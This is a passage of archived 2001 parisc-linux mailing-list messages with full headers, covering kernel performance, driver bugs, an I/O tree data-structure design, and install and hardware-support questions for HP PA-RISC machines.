   8regs     :   950.214 MB/sec
   32regs    :   937.260 MB/sec

Both c3k results were using NFS root and "head".

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fun with RAID
Date: Mon, 5 Feb 2001 23:15:08 +0000 (GMT)
Lines: 10
Approved: news@gmane.org
Message-ID: <E14Puql-0004SW-00@the-village.bc.nu>
References: <200102052310.PAA02945@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619841 15104 80.91.229.3 (22 Nov 2014 01:30:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:41 +0000 (UTC)
Cc: matthew@wil.cx (Matthew Wilcox),
	parisc-linux@lists.parisc-linux.org, grundler@milano.cup.hp.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 16:54:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 710BB4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 16:54:16 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14Puql-0004SW-00; Mon, 5 Feb 2001 23:15:11 +0000
In-Reply-To: <200102052310.PAA02945@milano.cup.hp.com> from "Grant Grundler" at Feb 05, 2001 03:10:10 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10171

> I've pointed out to Matthew that using speculative loads (for PA2.0)
> would help to preload cachelines.

On the x86 athlon boxes it helps massively for memcpy performance too
as a lot of our page copies are not cache->cache. The other place Arjan found
was a big win which isnt yet mainstream is prefetching task structs in
the scheduler




From - Thu Nov 08 21:16:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000/730 problems
Date: Tue, 6 Feb 2001 01:48:26 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <01020601482600.01149@P100.helgenet.de>
References: <Pine.LNX.4.21.0102050015450.385-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619841 15107 80.91.229.3 (22 Nov 2014 01:30:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:41 +0000 (UTC)
To: "M. Grabert" <xam@deathsdoor.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 17:49:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 8FEBC4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 17:49:27 -0700 (MST)
Original-Received: (qmail 13077 invoked by uid 0); 6 Feb 2001 00:49:24 -0000
Original-Received: from pd9040207.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.2.7)
  by mail.gmx.net (mp016-rz3) with SMTP; 6 Feb 2001 00:49:24 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <Pine.LNX.4.21.0102050015450.385-100000@sgate.charlysworld.de>
Xref: news.gmane.org gmane.linux.ports.parisc:10172

On Monday 05 February 2001 00:29, M. Grabert wrote:
> BTW, ASP Parallel Port driver is still broken (can't boot with it,
> but can boot without it).

Yes, I thought I fixed it a few weeks back, but .... :-(
I would like to fix that problem, but since I don't have such a machine where 
this bug happens I will need your help. If you could send me your bootlog I 
can give it another try.

> STI console is also broken (many characters are not printed or substitued
> by spaces). The problems occur of course AFTER "switching console" !

I believe, that you used the old STI code. Please try again the code I 
checked into CVS yesteray.
But the main problem why you just see some characters is, that the HP STI rom 
code doesn't includes all characters - and the new code will not fix this 
yet. But my long term goal is to switch the STI code to use the 
framebuffer-fonts from the linux-tree (which really seems possible).

> But serial console works fine :)
Yes of course. It doesn't uses the font tables of STI ROM.

Greetings,

	Helge Deller




From - Thu Nov 08 21:16:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RFC: I/O tree design
Date: Tue, 6 Feb 2001 06:02:57 +0000
Lines: 42
Approved: news@gmane.org
Message-ID: <20010206060257.B27096@parcelfarce.linux.theplanet.co.uk>
References: <20010203175751.C12985@parcelfarce.linux.theplanet.co.uk> <200102051834.KAA02270@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619842 15108 80.91.229.3 (22 Nov 2014 01:30:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:42 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	Ryan Bradetich <rbradetich@uswest.net>,
	parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 23:32:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 893184A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 23:32:40 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA31200
	for <parisc-linux@puffin.external.hp.com>; Mon, 5 Feb 2001 23:28:24 -0700
Original-Received: (qmail 20090 invoked by uid 15267); 6 Feb 2001 06:32:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20081 invoked from network); 6 Feb 2001 06:32:38 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2001 06:32:38 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Q1DN-00066K-00; Tue, 06 Feb 2001 06:02:57 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200102051834.KAA02270@milano.cup.hp.com>; from grundler@cup.hp.com on Mon, Feb 05, 2001 at 10:34:48AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10173

On Mon, Feb 05, 2001 at 10:34:48AM -0800, Grant Grundler wrote:
> Matthew Wilcox wrote:
> ...
> > One advantage of doing this is that `Child' could be a pointer to a
> > PCI bus.
> 
> I don't think I want that. PCI busses have their own heirarchy
> and I would much rather keep them quite seperate. At least for
> the moment I would. Future abstraction of native bus access
> and mgt methods might make this more interesting.

I was thinking along the lines of:

struct hp_bus;
struct hp_device {
	[...]
	int bus_type;
	union {
		struct pci_bus *pci;
		struct hp_bus *hp;
	} child;
};

and then use the pci_bus sysdata to point to the struct hp_device which
is the parent of this pci_bus.

Rather than try to abuse the `parent' entry in the pci_bus.

> Sometimes, it's convenient to think of the memory controller(s)
> as the "parent" of the central bus and memory banks as children
> (just like CPU would also be a child). This model works under ccNuma
> as well with memory at multiple levels in the I/O tree.

Yeah, I was thinking about that.  In some of the larger systems (say,
N class), there's no real central point at which to base the bus walk,
other than the Stretch memory controller.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel module loader gived break
Date: Tue, 6 Feb 2001 06:25:46 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20010206062546.D27096@parcelfarce.linux.theplanet.co.uk>
References: <200101271610.RAA30546@zaphod.halden.lillfab.se> <200101290356.TAA25535@milano.cup.hp.com> <20010205162523.P1374@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619842 15110 80.91.229.3 (22 Nov 2014 01:30:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:42 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, 5116@telia.com,
	parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 23:42:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id D89084A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 23:42:25 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA31229
	for <parisc-linux@puffin.external.hp.com>; Mon, 5 Feb 2001 23:38:10 -0700
Original-Received: (qmail 29446 invoked by uid 15267); 6 Feb 2001 06:42:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29437 invoked from network); 6 Feb 2001 06:42:23 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2001 06:42:23 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Q1ZS-0006PU-00; Tue, 06 Feb 2001 06:25:46 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20010205162523.P1374@linuxcare.com>; from rhirst@linuxcare.com on Mon, Feb 05, 2001 at 04:25:23PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10174

On Mon, Feb 05, 2001 at 04:25:23PM +0000, Richard Hirst wrote:
> Note pehc cvs modutils is no longer up to date; if you want to build
> your own, you should use the latest official source.

Is it worth deleting the pehc cvs modutils then?  It will only lead to
confusion, I think.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RFC: I/O tree design
Date: Mon, 05 Feb 2001 23:10:56 -0800
Lines: 45
Approved: news@gmane.org
Message-ID: <200102060710.XAA03545@milano.cup.hp.com>
References: <20010206060257.B27096@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619842 15112 80.91.229.3 (22 Nov 2014 01:30:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 00:08:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 464844A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 00:08:40 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA31292
	for <parisc-linux@puffin.external.hp.com>; Tue, 6 Feb 2001 00:04:24 -0700
Original-Received: (qmail 20114 invoked by uid 15267); 6 Feb 2001 07:08:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20107 invoked from network); 6 Feb 2001 07:08:35 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2001 07:08:35 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 62F40709; Mon,  5 Feb 2001 23:08:33 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id XAA03545;
	Mon, 5 Feb 2001 23:10:59 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 06 Feb 2001 06:02:57 PST."
             <20010206060257.B27096@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:10175

Matthew Wilcox wrote:
...
> I was thinking along the lines of:
...
> and then use the pci_bus sysdata to point to the struct hp_device which
> is the parent of this pci_bus.

Several levels of indirection are needed here.
Currently, we only store PCI bus host adapter (eg dino or elroy)
pointer here. We need to store "per device" DMA parameters here
as well and similar cruft. ie something like:

struct pa_devinfo {
	void * pa_iommu;
	void * pa_hba;
}

((pa_sysinfo *) pci_device->sysdata)

This should work for both PCI and "PCI-like" bus devices.
pa_hba* would point to PCI bus info for dino/elroy.

> Rather than try to abuse the `parent' entry in the pci_bus.

Right. parent field can never point to anything that's not a struct pci_bus.
The reason is PCI generic code walks *up* the tree and terminates on
a NULL ptr.

> Yeah, I was thinking about that.  In some of the larger systems (say,
> N class), there's no real central point at which to base the bus walk,
> other than the Stretch memory controller.

Two comments:
1) IMHO N-class really isn't that big.
2) It does have a "central bus" (Merced). Actually two of them but they
   are peers and for most cases look like one.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RFC: I/O tree design
Date: Tue, 06 Feb 2001 00:07:29 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <200102060807.AAA03565@milano.cup.hp.com>
References: <200102060710.XAA03545@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619843 15115 80.91.229.3 (22 Nov 2014 01:30:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 01:05:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 295894A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 01:05:11 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA31575
	for <parisc-linux@puffin.external.hp.com>; Tue, 6 Feb 2001 01:00:55 -0700
Original-Received: (qmail 3832 invoked by uid 15267); 6 Feb 2001 08:05:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3824 invoked from network); 6 Feb 2001 08:05:09 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2001 08:05:09 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id E8EE77C3
	for <parisc-linux@thepuffingroup.com>; Tue,  6 Feb 2001 00:05:05 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id AAA03565
	for <parisc-linux@thepuffingroup.com>; Tue, 6 Feb 2001 00:07:31 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 05 Feb 2001 23:10:56 PST."
             <200102060710.XAA03545@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10176

Grant Grundler wrote:
> struct pa_devinfo {
> 	void * pa_iommu;
> 	void * pa_hba;
> }
> 
> ((pa_sysinfo *) pci_device->sysdata)

I meant to write
    ((pa_devinfo *) pci_device->sysdata)->pa_iommu

I also thought the pa_devinfo struct could hold flags/info which
describes device and driver DMA behaviors not passed in to
pci_map_single(). I don't expect device drivers to be modified
to manipulate this flags/info fields unless it is designed to be arch-
independent.

Stuff like this is normally stored in the HPUX I/O tree associated
with specific nodes (and thus visible to parents). Note that I only
expect the parisc-linux "I/O tree" to only deal with PA I/O devices.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: HP PA-Risc with Linux
Date: Tue, 6 Feb 2001 15:02:16 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <20010206150216.U1374@linuxcare.com>
References: <OE562shoxt8ypSqdrrn0000148a@hotmail.com> <E14Neij-0002Hj-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619843 15118 80.91.229.3 (22 Nov 2014 01:30:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 08:02:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DB614A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 08:02:17 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA02375
	for <parisc-linux@puffin.external.hp.com>; Tue, 6 Feb 2001 07:58:01 -0700
Original-Received: (qmail 32149 invoked by uid 15267); 6 Feb 2001 15:02:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32137 invoked from network); 6 Feb 2001 15:02:06 -0000
Original-Received: from pc117-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.117)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2001 15:02:06 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 68CA7B005; Tue,  6 Feb 2001 15:02:16 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <E14Neij-0002Hj-00@noam.fc.hp.com>; from bame@fc.hp.com on Tue, Jan 30, 2001 at 10:37:33AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10177

The kernel on the CD does have problems with older 715 hardware; you
need to either wait for a new CD image, or build/download a new one
and boot over the network.  Note the 715/75 uses rbootd, not bootp.

Richard

On Tue, Jan 30, 2001 at 10:37:33AM -0700, Paul Bame wrote:
> 
> Carlos, I've forwarded your e-mail to our mailing list since I'm not
> the expert on 715 hardware.  You might also want to read through the
> FAQ and other things on our web site, www.parisc-linux.org.
> 
> The CD is pretty old and I suspect you'll have better luck with a
> newer kernel.  We are planning to produce a "0.6" ISO image Real
> Soon Now (tm).  Alternatively you can get a newer kernel
> from puffin.external.hp.com and boot from that kernel using either
> a bootp server to serve it to the 715, or DAT tape if you happen
> to have that.  Use the Linux kernel command line to indicate the
> 0.5 CD is its root (root=/dev/scd0).
> 
> = I Have some problems installing Linux, hope you have a couple of minutes =
> = to give a hand.
> = 
> = I have a Apollo 715/75 and I would like to install Linux in it. What I =
> = have done so far is:
> = downloaded "palinux-0.5.iso.gz"
> = create a CD using Adaptec CD Creator (on a PC)
> = 
> = I tried to boot from the CD rom and evrething seems to start ok, bu =
> = right after detecting the Scorpio Sr. hardware I get a Stack dump and =
> = the workstation doesn't do anything else.
> = 
> = thanks in advance
> = 
> = Regards
> = 
> = Carlos Acevedo
> = Computer Modelling Group
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 




From - Thu Nov 08 21:16:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] E55 (9000/856) proprietary interfaces
Date: Tue, 06 Feb 2001 16:45:13 +0100
Organization: AAA
Lines: 32
Approved: news@gmane.org
Message-ID: <3A801C09.A4AF370F@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619843 15121 80.91.229.3 (22 Nov 2014 01:30:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, christoph.plattner@dot.at
To: martin_fink@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 08:46:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5EACE4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 08:46:17 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA02500
	for <parisc-linux@puffin.external.hp.com>; Tue, 6 Feb 2001 08:42:01 -0700
Original-Received: (qmail 7564 invoked by uid 15267); 6 Feb 2001 15:46:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7538 invoked from network); 6 Feb 2001 15:46:14 -0000
Original-Received: from atusks01.alcatel.at (HELO mail.alcatel.at) (212.183.9.130)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2001 15:46:14 -0000
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id QAA14318;
	Tue, 6 Feb 2001 16:45:14 +0100 (MET)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10178

Mr. Fink,

Mr. Kaessmayer in Austria found your mail in the parisc-linux
mailing list archives concerning HP support for the HP PA-RISC
Linux project.

I contacted HP in parallel to the PA-RISC hacker, because I am
interested in using my HP server E55 (9000/856) machine with
HPPA Linux (puffing group...).

But this series of server has old proprietary interface, and so
there are no drivers for the interfaces (SCSI, 8-port serial board
multiplexer and parallel interface).

In my so little spare time, I am interested to work on that part
for having my E55 supported. Is there a possibility to get information
(hardware docu, HP-UX driver sources, etc) tp be able to do this
work ? Can anybody of the HP teams (hardware, device driver programmer,
system programmer) help me in this point ?

With friendly regards

	Christoph



-----------------------------------------------------------------
private:        christoph.plattner@dot.at
company:        christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720/50 SCSI - supported?
Date: Tue, 6 Feb 2001 16:49:23 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20010206164923.W1374@linuxcare.com>
References: <200102011141.WAA11608@customware.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619844 15123 80.91.229.3 (22 Nov 2014 01:30:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: penfold@customware.com.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 09:49:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 839984A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 09:49:27 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA02722
	for <parisc-linux@puffin.external.hp.com>; Tue, 6 Feb 2001 09:45:11 -0700
Original-Received: (qmail 27156 invoked by uid 15267); 6 Feb 2001 16:49:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27141 invoked from network); 6 Feb 2001 16:49:17 -0000
Original-Received: from pc117-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.117)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2001 16:49:17 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 85CA0B005; Tue,  6 Feb 2001 16:49:23 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200102011141.WAA11608@customware.com.au>; from penfold@customware.com.au on Thu, Feb 01, 2001 at 10:41:19PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:10179

On Thu, Feb 01, 2001 at 10:41:19PM +1100, penfold@customware.com.au wrote:
> Hi,
> 
> after successfully cross compiling a kernel, I have a problem!

How recent is your kernel?

Can you send a complete bootlog please.

Ricahrd





From - Thu Nov 08 21:16:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@deathsdoor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Generic Parisc Linux Kernel Questions & 9000/730 success report
Date: Tue, 6 Feb 2001 18:31:26 +0100 (CET)
Lines: 61
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102061808500.2465-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619844 15127 80.91.229.3 (22 Nov 2014 01:30:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 10:31:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sgate.charlysworld.de (pD95055D2.dip.t-dialin.net [217.80.85.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9AC54A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 10:31:38 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.11.0/8.11.0) with ESMTP id f16HVR102991
